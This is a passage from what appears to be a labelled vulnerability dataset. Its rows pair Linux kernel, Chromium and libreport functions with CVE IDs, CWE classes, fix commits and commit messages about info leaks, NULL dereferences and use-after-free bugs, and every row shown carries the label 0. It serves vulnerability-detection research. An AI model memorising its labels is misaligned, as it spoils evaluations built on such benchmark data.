mComponentRole(componentRole),
mCodingType(codingType),
mProfileLevels(profileLevels),
mNumProfileLevels(numProfileLevels) {
}
|
C
|
Android
| 0 |
CVE-2013-3229
|
https://www.cvedetails.com/cve/CVE-2013-3229/
|
CWE-200
|
https://github.com/torvalds/linux/commit/a5598bd9c087dc0efc250a5221e5d0e6f584ee88
|
a5598bd9c087dc0efc250a5221e5d0e6f584ee88
|
iucv: Fix missing msg_namelen update in iucv_sock_recvmsg()
The current code does not fill the msg_name member in case it is set.
It also does not set the msg_namelen member to 0 and therefore makes
net/socket.c leak the local, uninitialized sockaddr_storage variable
to userland -- 128 bytes of kernel stack memory.
Fix that by simply setting msg_namelen to 0 as obviously nobody cared
about iucv_sock_recvmsg() not filling the msg_name in case it was set.
Cc: Ursula Braun <ursula.braun@de.ibm.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static void iucv_callback_connrej(struct iucv_path *path, u8 ipuser[16])
{
struct sock *sk = path->private;
if (sk->sk_state == IUCV_CLOSED)
return;
bh_lock_sock(sk);
iucv_sever_path(sk, 1);
sk->sk_state = IUCV_DISCONN;
sk->sk_state_change(sk);
bh_unlock_sock(sk);
}
|
static void iucv_callback_connrej(struct iucv_path *path, u8 ipuser[16])
{
struct sock *sk = path->private;
if (sk->sk_state == IUCV_CLOSED)
return;
bh_lock_sock(sk);
iucv_sever_path(sk, 1);
sk->sk_state = IUCV_DISCONN;
sk->sk_state_change(sk);
bh_unlock_sock(sk);
}
|
C
|
linux
| 0 |
CVE-2018-8043
|
https://www.cvedetails.com/cve/CVE-2018-8043/
|
CWE-476
|
https://github.com/torvalds/linux/commit/297a6961ffb8ff4dc66c9fbf53b924bd1dda05d5
|
297a6961ffb8ff4dc66c9fbf53b924bd1dda05d5
|
net: phy: mdio-bcm-unimac: fix potential NULL dereference in unimac_mdio_probe()
platform_get_resource() may fail and return NULL, so we should
better check it's return value to avoid a NULL pointer dereference
a bit later in the code.
This is detected by Coccinelle semantic patch.
@@
expression pdev, res, n, t, e, e1, e2;
@@
res = platform_get_resource(pdev, t, n);
+ if (!res)
+ return -EINVAL;
... when != res == NULL
e = devm_ioremap(e1, res->start, e2);
Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static inline void unimac_mdio_start(struct unimac_mdio_priv *priv)
{
u32 reg;
reg = unimac_mdio_readl(priv, MDIO_CMD);
reg |= MDIO_START_BUSY;
unimac_mdio_writel(priv, reg, MDIO_CMD);
}
|
static inline void unimac_mdio_start(struct unimac_mdio_priv *priv)
{
u32 reg;
reg = unimac_mdio_readl(priv, MDIO_CMD);
reg |= MDIO_START_BUSY;
unimac_mdio_writel(priv, reg, MDIO_CMD);
}
|
C
|
linux
| 0 |
CVE-2016-1696
|
https://www.cvedetails.com/cve/CVE-2016-1696/
|
CWE-284
|
https://github.com/chromium/chromium/commit/c0569cc04741cccf6548c2169fcc1609d958523f
|
c0569cc04741cccf6548c2169fcc1609d958523f
|
[Extensions] Expand bindings access checks
BUG=601149
BUG=601073
Review URL: https://codereview.chromium.org/1866103002
Cr-Commit-Position: refs/heads/master@{#387710}
|
std::vector<std::pair<std::string, int> > Dispatcher::GetJsResources() {
std::vector<std::pair<std::string, int> > resources;
resources.push_back(std::make_pair("appView", IDR_APP_VIEW_JS));
resources.push_back(std::make_pair("entryIdManager", IDR_ENTRY_ID_MANAGER));
resources.push_back(std::make_pair(kEventBindings, IDR_EVENT_BINDINGS_JS));
resources.push_back(std::make_pair("extensionOptions",
IDR_EXTENSION_OPTIONS_JS));
resources.push_back(std::make_pair("extensionOptionsAttributes",
IDR_EXTENSION_OPTIONS_ATTRIBUTES_JS));
resources.push_back(std::make_pair("extensionOptionsConstants",
IDR_EXTENSION_OPTIONS_CONSTANTS_JS));
resources.push_back(std::make_pair("extensionOptionsEvents",
IDR_EXTENSION_OPTIONS_EVENTS_JS));
resources.push_back(std::make_pair("extensionView", IDR_EXTENSION_VIEW_JS));
resources.push_back(std::make_pair("extensionViewApiMethods",
IDR_EXTENSION_VIEW_API_METHODS_JS));
resources.push_back(std::make_pair("extensionViewAttributes",
IDR_EXTENSION_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("extensionViewConstants",
IDR_EXTENSION_VIEW_CONSTANTS_JS));
resources.push_back(std::make_pair("extensionViewEvents",
IDR_EXTENSION_VIEW_EVENTS_JS));
resources.push_back(std::make_pair(
"extensionViewInternal", IDR_EXTENSION_VIEW_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("guestView", IDR_GUEST_VIEW_JS));
resources.push_back(std::make_pair("guestViewAttributes",
IDR_GUEST_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("guestViewContainer",
IDR_GUEST_VIEW_CONTAINER_JS));
resources.push_back(std::make_pair("guestViewDeny", IDR_GUEST_VIEW_DENY_JS));
resources.push_back(std::make_pair("guestViewEvents",
IDR_GUEST_VIEW_EVENTS_JS));
if (content::BrowserPluginGuestMode::UseCrossProcessFramesForGuests()) {
resources.push_back(std::make_pair("guestViewIframe",
IDR_GUEST_VIEW_IFRAME_JS));
resources.push_back(std::make_pair("guestViewIframeContainer",
IDR_GUEST_VIEW_IFRAME_CONTAINER_JS));
}
resources.push_back(std::make_pair("imageUtil", IDR_IMAGE_UTIL_JS));
resources.push_back(std::make_pair("json_schema", IDR_JSON_SCHEMA_JS));
resources.push_back(std::make_pair("lastError", IDR_LAST_ERROR_JS));
resources.push_back(std::make_pair("messaging", IDR_MESSAGING_JS));
resources.push_back(std::make_pair("messaging_utils",
IDR_MESSAGING_UTILS_JS));
resources.push_back(std::make_pair(kSchemaUtils, IDR_SCHEMA_UTILS_JS));
resources.push_back(std::make_pair("sendRequest", IDR_SEND_REQUEST_JS));
resources.push_back(std::make_pair("setIcon", IDR_SET_ICON_JS));
resources.push_back(std::make_pair("test", IDR_TEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("test_environment_specific_bindings",
IDR_BROWSER_TEST_ENVIRONMENT_SPECIFIC_BINDINGS_JS));
resources.push_back(std::make_pair("uncaught_exception_handler",
IDR_UNCAUGHT_EXCEPTION_HANDLER_JS));
resources.push_back(std::make_pair("utils", IDR_UTILS_JS));
resources.push_back(std::make_pair("webRequest",
IDR_WEB_REQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("webRequestInternal",
IDR_WEB_REQUEST_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("webView", IDR_WEB_VIEW_JS));
resources.push_back(std::make_pair("webViewActionRequests",
IDR_WEB_VIEW_ACTION_REQUESTS_JS));
resources.push_back(std::make_pair("webViewApiMethods",
IDR_WEB_VIEW_API_METHODS_JS));
resources.push_back(std::make_pair("webViewAttributes",
IDR_WEB_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("webViewConstants",
IDR_WEB_VIEW_CONSTANTS_JS));
resources.push_back(std::make_pair("webViewEvents", IDR_WEB_VIEW_EVENTS_JS));
resources.push_back(std::make_pair("webViewInternal",
IDR_WEB_VIEW_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("webViewExperimental", IDR_WEB_VIEW_EXPERIMENTAL_JS));
resources.push_back(
std::make_pair(mojo::kBindingsModuleName, IDR_MOJO_BINDINGS_JS));
resources.push_back(
std::make_pair(mojo::kBufferModuleName, IDR_MOJO_BUFFER_JS));
resources.push_back(
std::make_pair(mojo::kCodecModuleName, IDR_MOJO_CODEC_JS));
resources.push_back(
std::make_pair(mojo::kConnectionModuleName, IDR_MOJO_CONNECTION_JS));
resources.push_back(
std::make_pair(mojo::kConnectorModuleName, IDR_MOJO_CONNECTOR_JS));
resources.push_back(
std::make_pair(mojo::kRouterModuleName, IDR_MOJO_ROUTER_JS));
resources.push_back(
std::make_pair(mojo::kUnicodeModuleName, IDR_MOJO_UNICODE_JS));
resources.push_back(
std::make_pair(mojo::kValidatorModuleName, IDR_MOJO_VALIDATOR_JS));
resources.push_back(std::make_pair("async_waiter", IDR_ASYNC_WAITER_JS));
resources.push_back(std::make_pair("data_receiver", IDR_DATA_RECEIVER_JS));
resources.push_back(std::make_pair("data_sender", IDR_DATA_SENDER_JS));
resources.push_back(std::make_pair("keep_alive", IDR_KEEP_ALIVE_JS));
resources.push_back(std::make_pair("extensions/common/mojo/keep_alive.mojom",
IDR_KEEP_ALIVE_MOJOM_JS));
resources.push_back(std::make_pair("device/serial/data_stream.mojom",
IDR_DATA_STREAM_MOJOM_JS));
resources.push_back(
std::make_pair("device/serial/data_stream_serialization.mojom",
IDR_DATA_STREAM_SERIALIZATION_MOJOM_JS));
resources.push_back(std::make_pair("stash_client", IDR_STASH_CLIENT_JS));
resources.push_back(
std::make_pair("extensions/common/mojo/stash.mojom", IDR_STASH_MOJOM_JS));
resources.push_back(
std::make_pair("app.runtime", IDR_APP_RUNTIME_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("app.window", IDR_APP_WINDOW_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("declarativeWebRequest",
IDR_DECLARATIVE_WEBREQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("displaySource",
IDR_DISPLAY_SOURCE_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("contextMenus", IDR_CONTEXT_MENUS_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("contextMenusHandlers", IDR_CONTEXT_MENUS_HANDLERS_JS));
resources.push_back(
std::make_pair("extension", IDR_EXTENSION_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("i18n", IDR_I18N_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair(
"mimeHandlerPrivate", IDR_MIME_HANDLER_PRIVATE_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("extensions/common/api/mime_handler.mojom",
IDR_MIME_HANDLER_MOJOM_JS));
resources.push_back(
std::make_pair("mojoPrivate", IDR_MOJO_PRIVATE_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("permissions", IDR_PERMISSIONS_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("printerProvider",
IDR_PRINTER_PROVIDER_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("runtime", IDR_RUNTIME_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("windowControls", IDR_WINDOW_CONTROLS_JS));
resources.push_back(
std::make_pair("webViewRequest",
IDR_WEB_VIEW_REQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("binding", IDR_BINDING_JS));
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kEnableMojoSerialService)) {
resources.push_back(
std::make_pair("serial", IDR_SERIAL_CUSTOM_BINDINGS_JS));
}
resources.push_back(std::make_pair("serial_service", IDR_SERIAL_SERVICE_JS));
resources.push_back(
std::make_pair("device/serial/serial.mojom", IDR_SERIAL_MOJOM_JS));
resources.push_back(std::make_pair("device/serial/serial_serialization.mojom",
IDR_SERIAL_SERIALIZATION_MOJOM_JS));
resources.push_back(std::make_pair("StorageArea", IDR_STORAGE_AREA_JS));
resources.push_back(std::make_pair("platformApp", IDR_PLATFORM_APP_JS));
#if defined(ENABLE_MEDIA_ROUTER)
resources.push_back(
std::make_pair("chrome/browser/media/router/mojo/media_router.mojom",
IDR_MEDIA_ROUTER_MOJOM_JS));
resources.push_back(
std::make_pair("media_router_bindings", IDR_MEDIA_ROUTER_BINDINGS_JS));
#endif // defined(ENABLE_MEDIA_ROUTER)
return resources;
}
|
std::vector<std::pair<std::string, int> > Dispatcher::GetJsResources() {
std::vector<std::pair<std::string, int> > resources;
resources.push_back(std::make_pair("appView", IDR_APP_VIEW_JS));
resources.push_back(std::make_pair("entryIdManager", IDR_ENTRY_ID_MANAGER));
resources.push_back(std::make_pair(kEventBindings, IDR_EVENT_BINDINGS_JS));
resources.push_back(std::make_pair("extensionOptions",
IDR_EXTENSION_OPTIONS_JS));
resources.push_back(std::make_pair("extensionOptionsAttributes",
IDR_EXTENSION_OPTIONS_ATTRIBUTES_JS));
resources.push_back(std::make_pair("extensionOptionsConstants",
IDR_EXTENSION_OPTIONS_CONSTANTS_JS));
resources.push_back(std::make_pair("extensionOptionsEvents",
IDR_EXTENSION_OPTIONS_EVENTS_JS));
resources.push_back(std::make_pair("extensionView", IDR_EXTENSION_VIEW_JS));
resources.push_back(std::make_pair("extensionViewApiMethods",
IDR_EXTENSION_VIEW_API_METHODS_JS));
resources.push_back(std::make_pair("extensionViewAttributes",
IDR_EXTENSION_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("extensionViewConstants",
IDR_EXTENSION_VIEW_CONSTANTS_JS));
resources.push_back(std::make_pair("extensionViewEvents",
IDR_EXTENSION_VIEW_EVENTS_JS));
resources.push_back(std::make_pair(
"extensionViewInternal", IDR_EXTENSION_VIEW_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("guestView", IDR_GUEST_VIEW_JS));
resources.push_back(std::make_pair("guestViewAttributes",
IDR_GUEST_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("guestViewContainer",
IDR_GUEST_VIEW_CONTAINER_JS));
resources.push_back(std::make_pair("guestViewDeny", IDR_GUEST_VIEW_DENY_JS));
resources.push_back(std::make_pair("guestViewEvents",
IDR_GUEST_VIEW_EVENTS_JS));
if (content::BrowserPluginGuestMode::UseCrossProcessFramesForGuests()) {
resources.push_back(std::make_pair("guestViewIframe",
IDR_GUEST_VIEW_IFRAME_JS));
resources.push_back(std::make_pair("guestViewIframeContainer",
IDR_GUEST_VIEW_IFRAME_CONTAINER_JS));
}
resources.push_back(std::make_pair("imageUtil", IDR_IMAGE_UTIL_JS));
resources.push_back(std::make_pair("json_schema", IDR_JSON_SCHEMA_JS));
resources.push_back(std::make_pair("lastError", IDR_LAST_ERROR_JS));
resources.push_back(std::make_pair("messaging", IDR_MESSAGING_JS));
resources.push_back(std::make_pair("messaging_utils",
IDR_MESSAGING_UTILS_JS));
resources.push_back(std::make_pair(kSchemaUtils, IDR_SCHEMA_UTILS_JS));
resources.push_back(std::make_pair("sendRequest", IDR_SEND_REQUEST_JS));
resources.push_back(std::make_pair("setIcon", IDR_SET_ICON_JS));
resources.push_back(std::make_pair("test", IDR_TEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("test_environment_specific_bindings",
IDR_BROWSER_TEST_ENVIRONMENT_SPECIFIC_BINDINGS_JS));
resources.push_back(std::make_pair("uncaught_exception_handler",
IDR_UNCAUGHT_EXCEPTION_HANDLER_JS));
resources.push_back(std::make_pair("utils", IDR_UTILS_JS));
resources.push_back(std::make_pair("webRequest",
IDR_WEB_REQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("webRequestInternal",
IDR_WEB_REQUEST_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("webView", IDR_WEB_VIEW_JS));
resources.push_back(std::make_pair("webViewActionRequests",
IDR_WEB_VIEW_ACTION_REQUESTS_JS));
resources.push_back(std::make_pair("webViewApiMethods",
IDR_WEB_VIEW_API_METHODS_JS));
resources.push_back(std::make_pair("webViewAttributes",
IDR_WEB_VIEW_ATTRIBUTES_JS));
resources.push_back(std::make_pair("webViewConstants",
IDR_WEB_VIEW_CONSTANTS_JS));
resources.push_back(std::make_pair("webViewEvents", IDR_WEB_VIEW_EVENTS_JS));
resources.push_back(std::make_pair("webViewInternal",
IDR_WEB_VIEW_INTERNAL_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("webViewExperimental", IDR_WEB_VIEW_EXPERIMENTAL_JS));
resources.push_back(
std::make_pair(mojo::kBindingsModuleName, IDR_MOJO_BINDINGS_JS));
resources.push_back(
std::make_pair(mojo::kBufferModuleName, IDR_MOJO_BUFFER_JS));
resources.push_back(
std::make_pair(mojo::kCodecModuleName, IDR_MOJO_CODEC_JS));
resources.push_back(
std::make_pair(mojo::kConnectionModuleName, IDR_MOJO_CONNECTION_JS));
resources.push_back(
std::make_pair(mojo::kConnectorModuleName, IDR_MOJO_CONNECTOR_JS));
resources.push_back(
std::make_pair(mojo::kRouterModuleName, IDR_MOJO_ROUTER_JS));
resources.push_back(
std::make_pair(mojo::kUnicodeModuleName, IDR_MOJO_UNICODE_JS));
resources.push_back(
std::make_pair(mojo::kValidatorModuleName, IDR_MOJO_VALIDATOR_JS));
resources.push_back(std::make_pair("async_waiter", IDR_ASYNC_WAITER_JS));
resources.push_back(std::make_pair("data_receiver", IDR_DATA_RECEIVER_JS));
resources.push_back(std::make_pair("data_sender", IDR_DATA_SENDER_JS));
resources.push_back(std::make_pair("keep_alive", IDR_KEEP_ALIVE_JS));
resources.push_back(std::make_pair("extensions/common/mojo/keep_alive.mojom",
IDR_KEEP_ALIVE_MOJOM_JS));
resources.push_back(std::make_pair("device/serial/data_stream.mojom",
IDR_DATA_STREAM_MOJOM_JS));
resources.push_back(
std::make_pair("device/serial/data_stream_serialization.mojom",
IDR_DATA_STREAM_SERIALIZATION_MOJOM_JS));
resources.push_back(std::make_pair("stash_client", IDR_STASH_CLIENT_JS));
resources.push_back(
std::make_pair("extensions/common/mojo/stash.mojom", IDR_STASH_MOJOM_JS));
resources.push_back(
std::make_pair("app.runtime", IDR_APP_RUNTIME_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("app.window", IDR_APP_WINDOW_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("declarativeWebRequest",
IDR_DECLARATIVE_WEBREQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("displaySource",
IDR_DISPLAY_SOURCE_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("contextMenus", IDR_CONTEXT_MENUS_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("contextMenusHandlers", IDR_CONTEXT_MENUS_HANDLERS_JS));
resources.push_back(
std::make_pair("extension", IDR_EXTENSION_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("i18n", IDR_I18N_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair(
"mimeHandlerPrivate", IDR_MIME_HANDLER_PRIVATE_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("extensions/common/api/mime_handler.mojom",
IDR_MIME_HANDLER_MOJOM_JS));
resources.push_back(
std::make_pair("mojoPrivate", IDR_MOJO_PRIVATE_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("permissions", IDR_PERMISSIONS_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("printerProvider",
IDR_PRINTER_PROVIDER_CUSTOM_BINDINGS_JS));
resources.push_back(
std::make_pair("runtime", IDR_RUNTIME_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("windowControls", IDR_WINDOW_CONTROLS_JS));
resources.push_back(
std::make_pair("webViewRequest",
IDR_WEB_VIEW_REQUEST_CUSTOM_BINDINGS_JS));
resources.push_back(std::make_pair("binding", IDR_BINDING_JS));
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kEnableMojoSerialService)) {
resources.push_back(
std::make_pair("serial", IDR_SERIAL_CUSTOM_BINDINGS_JS));
}
resources.push_back(std::make_pair("serial_service", IDR_SERIAL_SERVICE_JS));
resources.push_back(
std::make_pair("device/serial/serial.mojom", IDR_SERIAL_MOJOM_JS));
resources.push_back(std::make_pair("device/serial/serial_serialization.mojom",
IDR_SERIAL_SERIALIZATION_MOJOM_JS));
resources.push_back(std::make_pair("StorageArea", IDR_STORAGE_AREA_JS));
resources.push_back(std::make_pair("platformApp", IDR_PLATFORM_APP_JS));
#if defined(ENABLE_MEDIA_ROUTER)
resources.push_back(
std::make_pair("chrome/browser/media/router/mojo/media_router.mojom",
IDR_MEDIA_ROUTER_MOJOM_JS));
resources.push_back(
std::make_pair("media_router_bindings", IDR_MEDIA_ROUTER_BINDINGS_JS));
#endif // defined(ENABLE_MEDIA_ROUTER)
return resources;
}
|
C
|
Chrome
| 0 |
CVE-2018-20855
|
https://www.cvedetails.com/cve/CVE-2018-20855/
|
CWE-119
|
https://github.com/torvalds/linux/commit/0625b4ba1a5d4703c7fb01c497bd6c156908af00
|
0625b4ba1a5d4703c7fb01c497bd6c156908af00
|
IB/mlx5: Fix leaking stack memory to userspace
mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes
were written.
Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp")
Cc: <stable@vger.kernel.org>
Acked-by: Leon Romanovsky <leonro@mellanox.com>
Signed-off-by: Jason Gunthorpe <jgg@mellanox.com>
|
static u8 wq_sig(void *wqe)
{
return calc_sig(wqe, (*((u8 *)wqe + 8) & 0x3f) << 4);
}
|
static u8 wq_sig(void *wqe)
{
return calc_sig(wqe, (*((u8 *)wqe + 8) & 0x3f) << 4);
}
|
C
|
linux
| 0 |
CVE-2015-6765
|
https://www.cvedetails.com/cve/CVE-2015-6765/
| null |
https://github.com/chromium/chromium/commit/e5c298b780737c53fa9aae44d6fef522931d88b0
|
e5c298b780737c53fa9aae44d6fef522931d88b0
|
AppCache: fix a browser crashing bug that can happen during updates.
BUG=558589
Review URL: https://codereview.chromium.org/1463463003
Cr-Commit-Position: refs/heads/master@{#360967}
|
void SendLogMessage(const std::string& message) {
for (NotifyHostMap::iterator it = hosts_to_notify.begin();
it != hosts_to_notify.end(); ++it) {
AppCacheFrontend* frontend = it->first;
for (HostIds::iterator id = it->second.begin();
id != it->second.end(); ++id) {
frontend->OnLogMessage(*id, APPCACHE_LOG_WARNING, message);
}
}
}
|
void SendLogMessage(const std::string& message) {
for (NotifyHostMap::iterator it = hosts_to_notify.begin();
it != hosts_to_notify.end(); ++it) {
AppCacheFrontend* frontend = it->first;
for (HostIds::iterator id = it->second.begin();
id != it->second.end(); ++id) {
frontend->OnLogMessage(*id, APPCACHE_LOG_WARNING, message);
}
}
}
|
C
|
Chrome
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/62b8b6e168a12263aab6b88dbef0b900cc37309f
|
62b8b6e168a12263aab6b88dbef0b900cc37309f
|
Add partial magnifier to ash palette.
The partial magnifier will magnify a small portion of the screen, similar to a spyglass.
TEST=./out/Release/ash_unittests --gtest_filter=PartialMagnificationControllerTest.*
TBR=oshima@chromium.org
BUG=616112
Review-Url: https://codereview.chromium.org/2239553002
Cr-Commit-Position: refs/heads/master@{#414124}
|
void PaletteTray::SessionStateChanged(
SessionStateDelegate::SessionState state) {
UpdateIconVisibility();
}
|
void PaletteTray::SessionStateChanged(
SessionStateDelegate::SessionState state) {
UpdateIconVisibility();
}
|
C
|
Chrome
| 0 |
CVE-2014-0131
|
https://www.cvedetails.com/cve/CVE-2014-0131/
|
CWE-416
|
https://github.com/torvalds/linux/commit/1fd819ecb90cc9b822cd84d3056ddba315d3340f
|
1fd819ecb90cc9b822cd84d3056ddba315d3340f
|
skbuff: skb_segment: orphan frags before copying
skb_segment copies frags around, so we need
to copy them carefully to avoid accessing
user memory after reporting completion to userspace
through a callback.
skb_segment doesn't normally happen on datapath:
TSO needs to be disabled - so disabling zero copy
in this case does not look like a big deal.
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Acked-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
struct sk_buff *__alloc_skb_head(gfp_t gfp_mask, int node)
{
struct sk_buff *skb;
/* Get the HEAD */
skb = kmem_cache_alloc_node(skbuff_head_cache,
gfp_mask & ~__GFP_DMA, node);
if (!skb)
goto out;
/*
* Only clear those fields we need to clear, not those that we will
* actually initialise below. Hence, don't put any more fields after
* the tail pointer in struct sk_buff!
*/
memset(skb, 0, offsetof(struct sk_buff, tail));
skb->head = NULL;
skb->truesize = sizeof(struct sk_buff);
atomic_set(&skb->users, 1);
skb->mac_header = (typeof(skb->mac_header))~0U;
out:
return skb;
}
|
struct sk_buff *__alloc_skb_head(gfp_t gfp_mask, int node)
{
struct sk_buff *skb;
/* Get the HEAD */
skb = kmem_cache_alloc_node(skbuff_head_cache,
gfp_mask & ~__GFP_DMA, node);
if (!skb)
goto out;
/*
* Only clear those fields we need to clear, not those that we will
* actually initialise below. Hence, don't put any more fields after
* the tail pointer in struct sk_buff!
*/
memset(skb, 0, offsetof(struct sk_buff, tail));
skb->head = NULL;
skb->truesize = sizeof(struct sk_buff);
atomic_set(&skb->users, 1);
skb->mac_header = (typeof(skb->mac_header))~0U;
out:
return skb;
}
|
C
|
linux
| 0 |
CVE-2019-5755
|
https://www.cvedetails.com/cve/CVE-2019-5755/
|
CWE-189
|
https://github.com/chromium/chromium/commit/971548cdca2d4c0a6fedd3db0c94372c2a27eac3
|
971548cdca2d4c0a6fedd3db0c94372c2a27eac3
|
Make MediaStreamDispatcherHost per-request instead of per-frame.
Instead of having RenderFrameHost own a single MSDH to handle all
requests from a frame, MSDH objects will be owned by a strong binding.
A consequence of this is that an additional requester ID is added to
requests to MediaStreamManager, so that an MSDH is able to cancel only
requests generated by it.
In practice, MSDH will continue to be per frame in most cases since
each frame normally makes a single request for an MSDH object.
This fixes a lifetime issue caused by the IO thread executing tasks
after the RenderFrameHost dies.
Drive-by: Fix some minor lint issues.
Bug: 912520
Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516
Reviewed-on: https://chromium-review.googlesource.com/c/1369799
Reviewed-by: Emircan Uysaler <emircan@chromium.org>
Reviewed-by: Ken Buchanan <kenrb@chromium.org>
Reviewed-by: Olga Sharonova <olka@chromium.org>
Commit-Queue: Guido Urdaneta <guidou@chromium.org>
Cr-Commit-Position: refs/heads/master@{#616347}
|
void SpeechRecognitionManagerImpl::ResetCapturingSessionId(
const Session& session) {
DCHECK_EQ(primary_session_id_, session.id);
primary_session_id_ = kSessionIDInvalid;
}
|
void SpeechRecognitionManagerImpl::ResetCapturingSessionId(
const Session& session) {
DCHECK_EQ(primary_session_id_, session.id);
primary_session_id_ = kSessionIDInvalid;
}
|
C
|
Chrome
| 0 |
CVE-2012-6541
|
https://www.cvedetails.com/cve/CVE-2012-6541/
|
CWE-200
|
https://github.com/torvalds/linux/commit/7b07f8eb75aa3097cdfd4f6eac3da49db787381d
|
7b07f8eb75aa3097cdfd4f6eac3da49db787381d
|
dccp: fix info leak via getsockopt(DCCP_SOCKOPT_CCID_TX_INFO)
The CCID3 code fails to initialize the trailing padding bytes of struct
tfrc_tx_info added for alignment on 64 bit architectures. It that for
potentially leaks four bytes kernel stack via the getsockopt() syscall.
Add an explicit memset(0) before filling the structure to avoid the
info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Gerrit Renker <gerrit@erg.abdn.ac.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static int ccid3_hc_rx_init(struct ccid *ccid, struct sock *sk)
{
struct ccid3_hc_rx_sock *hc = ccid_priv(ccid);
hc->rx_state = TFRC_RSTATE_NO_DATA;
tfrc_lh_init(&hc->rx_li_hist);
return tfrc_rx_hist_alloc(&hc->rx_hist);
}
|
static int ccid3_hc_rx_init(struct ccid *ccid, struct sock *sk)
{
struct ccid3_hc_rx_sock *hc = ccid_priv(ccid);
hc->rx_state = TFRC_RSTATE_NO_DATA;
tfrc_lh_init(&hc->rx_li_hist);
return tfrc_rx_hist_alloc(&hc->rx_hist);
}
|
C
|
linux
| 0 |
CVE-2015-5302
|
https://www.cvedetails.com/cve/CVE-2015-5302/
|
CWE-200
|
https://github.com/abrt/libreport/commit/257578a23d1537a2d235aaa2b1488ee4f818e360
|
257578a23d1537a2d235aaa2b1488ee4f818e360
|
wizard: fix save users changes after reviewing dump dir files
If the user reviewed the dump dir's files during reporting the crash, the
changes was thrown away and original data was passed to the bugzilla bug
report.
report-gtk saves the first text view buffer and then reloads data from the
reported problem directory, which causes that the changes made to those text
views are thrown away.
Function save_text_if_changed(), except of saving text, also reload the files
from dump dir and update gui state from the dump dir. The commit moves the
reloading and updating gui functions away from this function.
Related to rhbz#1270235
Signed-off-by: Matej Habrnal <mhabrnal@redhat.com>
|
static gboolean consume_cmd_output(GIOChannel *source, GIOCondition condition, gpointer data)
{
struct analyze_event_data *evd = data;
struct run_event_state *run_state = evd->run_state;
bool stop_requested = false;
int retval = consume_event_command_output(run_state, g_dump_dir_name);
if (retval < 0 && errno == EAGAIN)
/* We got all buffered data, but fd is still open. Done for now */
return TRUE; /* "please don't remove this event (yet)" */
/* EOF/error */
if (WIFEXITED(run_state->process_status)
&& WEXITSTATUS(run_state->process_status) == EXIT_STOP_EVENT_RUN
) {
retval = 0;
run_state->process_status = 0;
stop_requested = true;
terminate_event_chain(TERMINATE_NOFLAGS);
}
unexport_event_config(evd->env_list);
evd->env_list = NULL;
/* Make sure "Cancel" button won't send anything (process is gone) */
g_event_child_pid = -1;
evd->run_state->command_pid = -1; /* just for consistency */
/* Write a final message to the log */
if (evd->event_log->len != 0 && evd->event_log->buf[evd->event_log->len - 1] != '\n')
save_to_event_log(evd, "\n");
/* If program failed, or if it finished successfully without saying anything... */
if (retval != 0 || evd->event_log_state == LOGSTATE_FIRSTLINE)
{
char *msg = exit_status_as_string(evd->event_name, run_state->process_status);
if (retval != 0)
{
/* If program failed, emit *error* line */
evd->event_log_state = LOGSTATE_ERRLINE;
}
append_to_textview(g_tv_event_log, msg);
save_to_event_log(evd, msg);
free(msg);
}
/* Append log to FILENAME_EVENT_LOG */
update_event_log_on_disk(evd->event_log->buf);
strbuf_clear(evd->event_log);
evd->event_log_state = LOGSTATE_FIRSTLINE;
struct dump_dir *dd = NULL;
if (geteuid() == 0)
{
